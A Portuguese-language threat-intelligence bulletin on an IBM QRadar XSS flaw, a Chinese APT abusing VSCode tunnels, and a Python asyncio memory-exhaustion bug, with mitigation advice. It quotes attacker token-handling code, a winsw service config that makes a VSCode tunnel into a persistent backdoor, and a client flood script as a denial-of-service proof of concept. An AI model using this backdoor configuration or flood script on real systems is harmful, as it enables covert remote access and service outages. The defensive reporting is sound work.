Your IT Company

Principais Vulnerabilidades e Ameaças (Dezembro/24)

1. Objetivo

Este documento foi desenvolvido e fundamentado nas documentações oficiais do NIST (National Institute Of Standards and Technology), MITRE e CVE.org, que são mundialmente conhecidas na área de cibersegurança como modelos de padronização das melhores práticas de segurança, pesquisa de metodologias de ataques, defesa cibernética e catalogação de novas vulnerabilidades em sistemas operacionais e aplicações.

2. Vulnerabilidades e Ameaças descobertas

2.1 Vulnerabilidade do IBM QRadar SIEM permite que hackers injetem JavaScript malicioso na interface do usuário da Web

Uma vulnerabilidade crítica de XSS (Cross-Site Scripting) foi descoberta na plataforma QRadar SIEM (Security Information and Event Management) da IBM. A falha permite que usuários autenticados injetem e executem código JavaScript malicioso através da interface web, potencialmente comprometendo a segurança do sistema e expondo dados sensíveis. A descoberta acendeu alertas imediatos entre especialistas em segurança cibernética e empresas que dependem da plataforma, reforçando a necessidade de uma correção urgente para mitigar os riscos. Essa versão reforça a gravidade da vulnerabilidade e melhora a fluidez do texto, enfatizando as implicações práticas e o impacto para os usuários.

Essa vulnerabilidade foi identificada como CVE-2024-47107 e foi classificada pela IBM Corporation com uma pontuação de nível médio CVSS:3.1;6.4 e que possui a seguinte descrição: “O IBM QRadar SIEM 7.5 é vulnerável a scripts entre sites armazenados. Essa vulnerabilidade permite que usuários autenticados incorporem código JavaScript arbitrário na interface do usuário da Web, alterando assim a funcionalidade pretendida, potencialmente levando à divulgação de credenciais em uma sessão confiável”. A CVE mencionada ainda não possui uma classificação pelo NIST.

A vulnerabilidade é extremamente preocupante, pois oferece aos invasores a oportunidade de se apoderarem de sessões legítimas de usuários, permitindo acesso não autorizado a dados sensíveis relacionados ao monitoramento de segurança. Tal cenário representa um risco significativo à integridade das informações e à confiança nos sistemas de segurança", destacou um especialista em cibersegurança que acompanha o caso. Essa versão reforça o impacto da vulnerabilidade, utiliza uma linguagem mais técnica e confere maior peso à declaração.

Produto afetado	Versão afetada
IBM QRadar SIEM	7.5 - 7.5.0 UP10 IF01

Exploração:

No momento não há nenhuma exploração pública disponível relacionada a essa vulnerabilidade.

Mitigação e prevenção:

A IBM disponibilizou um patch para corrigir a vulnerabilidade identificada, aplicável à versão **7.5.0 UP10 IF02** do QRadar SIEM. A empresa enfatiza a necessidade urgente de que todos os clientes utilizem essa atualização para reduzir os riscos associados, garantindo a segurança de suas operações.

Essa vulnerabilidade destaca a relevância contínua da aplicação rápida de atualizações de segurança, especialmente em sistemas críticos como o SIEM, que desempenham papel fundamental na proteção de dados e na detecção de ameaças em ambientes corporativos. A ausência de soluções ou mitigações alternativas até o momento torna essa atualização o único meio eficaz para neutralizar os riscos apresentados.

A IBM reforça que atrasos na aplicação de patches podem ampliar a exposição a possíveis ataques, sublinhando a responsabilidade compartilhada entre fornecedores e usuários em manter os sistemas protegidos.

Produto	Versão	Atualizar
IBM QRadar SIEM	7.5.0	7.5.0 UP10 IF02

Para ver mais detalhes sobre esta vulnerabilidade você pode acessar os endereços a seguir: https://cybersecuritynews.com/ibm-qradar-siem-vulnerability/, https://www.ibm.com/support/pages/node/7178104 e https://nvd.nist.gov/vuln/detail/CVE-2024-47107

2.2. Hackers chineses usam túneis do Visual Studio Code para acesso remoto

Hackers chineses que visam grandes provedores de serviços de TI no sul da Europa foram vistos abusando dos túneis do Visual Studio Code (VSCode) para manter o acesso remoto persistente aos sistemas comprometidos.

Os túneis VSCode fazem parte do recurso de Desenvolvimento Remoto da Microsoft, que permite que os desenvolvedores acessem e trabalhem com segurança em sistemas remotos por meio do Visual Studio Code. Os desenvolvedores também podem executar comandos e acessar o sistema de arquivos de dispositivos remotos, tornando-o uma poderosa ferramenta de desenvolvimento.

Os túneis são estabelecidos usando a infraestrutura do Microsoft Azure, com executáveis assinados pela Microsoft, fornecendo acesso confiável. Essa rara tática de abusar de um sistema legítimo da Microsoft para manter o acesso persistente de backdoor aos sistemas foi observada pelos pesquisadores, que apelidam a campanha de 'Operação Digital Eye', que ocorreu entre junho e julho de 2024.

Os pesquisadores detectaram e bloquearam as atividades em seus estágios iniciais, mas compartilharam os detalhes em um relatório para aumentar a conscientização sobre essa nova tática APT. As evidências apontam para o STORM-0866 ou Sandman APT, mas o agente exato da ameaça responsável por essa operação de três semanas permanece desconhecido. "O grupo exato por trás da Operação Digital Eye permanece incerto devido ao amplo compartilhamento de malware, manuais operacionais e processos de gerenciamento de infraestrutura no cenário de ameaças chinês".

Backdoor do Visual Studio Code:

Os hackers obtiveram acesso inicial aos sistemas de destino usando a ferramenta automatizada de exploração de injeção de SQL 'sqlmap' contra servidores de banco de dados e web voltados para a Internet. Depois de estabelecer o acesso, eles implantaram um webshell baseado em PHP chamado PHPsert, que lhes permitiu executar comandos remotamente ou introduzir cargas adicionais.Para o movimento lateral, os invasores usaram ataques RDP e pass-the-hash, especificamente, uma versão personalizada do Mimikatz ('bK2o.exe').

```
[...]
if ( configuration->command )
  lpCommandLine = main_struct->command;
[...]
user = configuration->user;
[...]
if ( CreateProcessWithLogonW(user, configuration->domain, &Password, 2u, 0LL, lpCommandLine,
       0x14u,
       0LL,
       0LL,
       &StartupInfo,
       &ProcessInformation) )
  {
    [...]
    NtTerminateProcess = GetProcAddress(ntdll_handle, NtTerminateProcess_Str);
    if ( NtTerminateProcess )
    {
      v14 = 0LL;
      memset(TokenInformation, 0, sizeof(TokenInformation));
      if ( OpenProcessToken(ProcessInformation.hProcess, 0x20008u, TokenHandle) )
      {
        ReturnLength = 0;
        if ( GetTokenInformation(TokenHandle[0], TokenStatistics, TokenInformation,
        0x38u, &ReturnLength) )
        {
          *(_QWORD *)&configuration->AuthenticationId = *((_QWORD *)&TokenInformation[0] + 1);
          [...]
```

Figura 1 - Criando um processo e recuperando o LUID da sessão de logon. Fonte: https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/

Em dispositivos violados, os hackers implantaram uma versão portátil e legítima do Visual Studio Code ('code.exe') e usaram a ferramenta 'winsw' para defini-la como um serviço persistente do Windows. Em seguida, eles configuraram o VSCode com o parâmetro tunnel, permitindo que ele crie um túnel de desenvolvimento de acesso remoto no computador.

```
<service>
    <id>myapp</id>
    <executable>%BASE%\code.exe</executable>
    <name>Visual Studio Code Service</name>
    <description>This service is a service created from a Visual Studio Code</description>
    <onfailure action="restart" delay="10 sec"/>
    <onfailure action="restart" delay="10 sec"/>
    <onfailure action="restart" delay="10 sec"/>
    <resetfailure>1 hour</resetfailure>
    <arguments>tunnel --verbose --accept-server-license-terms --random-name</arguments>
    <priority>High</priority>
    <stoptimeout>15 sec</stoptimeout>
    <startmode>Automatic</startmode>
    <delayedAutoStart>true</delayedAutoStart>
    <logpath>%BASE%\logs</logpath>
    <log mode="append"/>
</service>
```

Figura 2 - Configuração de serviço para configuração de túnel do Visual Studio Code. Fonte: https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/

Isso permitiu que os agentes de ameaças se conectassem remotamente ao dispositivo violado por meio de uma interface da Web (navegador), autenticando-se com uma conta do GitHub ou da Microsoft.

Como o tráfego para túneis VSCode é roteado por meio do Microsoft Azure e todos os executáveis envolvidos são assinados, não há nada no processo para gerar alarmes por ferramentas de segurança.

Os agentes de ameaças usaram seu backdoor VSCode para se conectar às máquinas violadas durante os dias de trabalho, mostrando alta atividade durante o horário de trabalho padrão na China.

Figura 3 - Número de conexões feitas pelos invasores a cada hora. Fonte: https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/

Os pesquisadores informarão que o uso de túneis VSCode não é inédito, pois houve alguns relatos desde 2023, no entanto, continua sendo uma tática raramente vista.

Em setembro de 2024, a Unidade 42 publicou um relatório sobre o grupo APT chinês 'Stately Taurus' abusando do VSCode em operações de espionagem direcionadas a organizações governamentais no Sudeste Asiático. No entanto, os pesquisadores informarão que as duas operações parecem não estar relacionadas.

Como a técnica pode estar ganhando força, os defensores são aconselhados a monitorar lançamentos suspeitos do VSCode, limitar o uso de túneis remotos a pessoal autorizado e usar a lista de permissões para bloquear a execução de arquivos portáteis como code.exe.

Por fim, é aconselhável inspecionar os serviços do Windows quanto à presença de 'code.exe' e procurar conexões de saída inesperadas para domínios como *.devtunnels.ms nos logs de rede.

Para ver mais detalhes sobre esta vulnerabilidade você pode acessar os endereços a seguir: https://www.bleepingcomputer.com/news/security/chinese-hackers-use-visual-studio-code-tunnels-for-remote-access/ e https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/

2.3. Vulnerabilidade crítica em modulo asyncio do Python afeta MacOS e Linux leva à exploração de memória.

O módulo asyncio do Python fornece uma estrutura para escrever código assíncrono e concorrente utilizando corrotinas, eventos e I/O não bloqueante. Ele é amplamente usado para tarefas que envolvem operações de rede, como servidores web, clientes e scraping, permitindo manipular múltiplas tarefas simultaneamente de forma eficiente. O asyncio suporta a criação de loops de eventos, corrotinas, futuros e tarefas, proporcionando uma abordagem simplificada para lidar com o paralelismo baseado em I/O, sem a complexidade dos threads tradicionais.

Recentemente foi descoberta vulnerabilidade que recebeu a identificação CVE-2024-12254 e foi classificada pela Python Software Foundation com uma pontuação de 8.7 pelo CVSS: 4.0 sendo

de nível Alta, possuindo a seguinte descrição: “A partir do Python 3.12.0, o método asyncio._SelectorSocketTransport.writelines() não "pausava" a escrita nem sinalizava ao Protocolo para esvaziar o buffer para o fluxo assim que o buffer de escrita atingisse o "limite superior" (high-water mark). Por conta disso, os Protocolos não esvaziavam periodicamente o buffer de escrita, o que poderia levar à exaustão de memória. Utilizando o módulo asyncio com Protocolos e utilizando o método .writelines(), que introduziu um novo comportamento de zero-copy-on-write no Python 3.12.0 e versões posteriores.”

Esta vulnerabilidade afeta o módulo asyncio do Python, especificamente nas versões 3.12.0 e posteriores. Essa falha permite que invasores causem exaustão de memória em aplicações que utilizam o método writelines() dentro do asyncio._SelectorSocketTransport, potencialmente levando a negação de serviço ou falhas no sistema.

Exploração

O servidor utiliza o método writelines() do asyncio para processar dados de entrada de clientes.

Devido à falta de restrições no tamanho do buffer, grandes volumes de dados podem ser escritos, consumindo toda a memória.

Um cliente malicioso envia um fluxo contínuo de dados para o servidor, que os acumula no buffer.

A ausência de verificação no método writelines() impede que o servidor descarte ou processe os dados de forma eficiente.

A memória do servidor é gradativamente consumida até o ponto em que a aplicação falha ou o sistema torna-se instável

Exploração – PoC

O servidor Python usa asyncio e o método writelines() para processar os dados.

A falta de limitação no buffer permite que o servidor acumule grandes volumes de dados.

import asyncio

```
class EchoServerProtocol(asyncio.Protocol):
def connection_made(self, transport):
self.transport = transport
print("Conexão estabelecida!")

def data_received(self, data):
# Uso do método writelines sem controle de fluxo
self.transport.writelines([data] * 100000)
print("Dados recebidos e escritos no buffer.")

async def main():
loop = asyncio.get_running_loop()
server = await loop.create_server(
lambda: EchoServerProtocol(), '127.0.0.1', 8888)
print("Servidor rodando na porta 8888...")
async with server:
await server.serve_forever()

asyncio.run(main())
```

O cliente envia pacotes de 1 MB de forma contínua, sem intervalos.

O servidor armazena os pacotes no buffer, consumindo a memória do sistema.

```
import socket

TARGET = "127.0.0.1"
PORT = 8888
DATA = b"A" * 1024 * 1024  # Pacote de 1 MB

print("Iniciando ataque de exaustão de memória...")

with socket.create_connection((TARGET, PORT)) as sock:
while True:
sock.sendall(DATA)  # Envia pacotes repetidamente
print("Pacote enviado...")
```

O uso de memória no servidor aumenta rapidamente.

Após um período curto, o servidor falha devido à exaustão de memória, causando uma negação de serviço (DoS).

Mitigação e prevenção

A vulnerabilidade foi corrigida nas versões 3.12.2 e 3.13.0. É altamente recomendado atualizar para uma dessas versões ou mais recentes.

Utilizar ferramentas como asyncio.StreamWriter.drain() para impor limites de fluxo e evitar acúmulo excessivo de dados:

```
async def safe_write(writer, data):
writer.write(data)

await writer.drain()
```

Configurar ferramentas de monitoramento para alertar sobre uso excessivo de memória e evitar que aplicações falhem silenciosamente.

Implementar mecanismos para limitar o volume de dados aceitos de clientes, prevenindo abusos.

Para ver mais detalhes sobre esta vulnerabilidade você pode acessar os endereços a seguir: https://linuxsecurity.com/news/security-vulnerabilities/new-python-memory-exhaustion-bug

Esta publicação tem como objetivo orientar a equipe interna e os nossos clientes sobre ameaças emergentes no ambiente cibernético, possibilitando assim ações proativas de prevenção para tornar a infraestrutura de nossas empresas cada vez mais segura.

A publicação do documento de Inteligência de Ameaças será realizada quinzenalmente.

Produzido por: Comitê Editorial de Segurança da Service Sec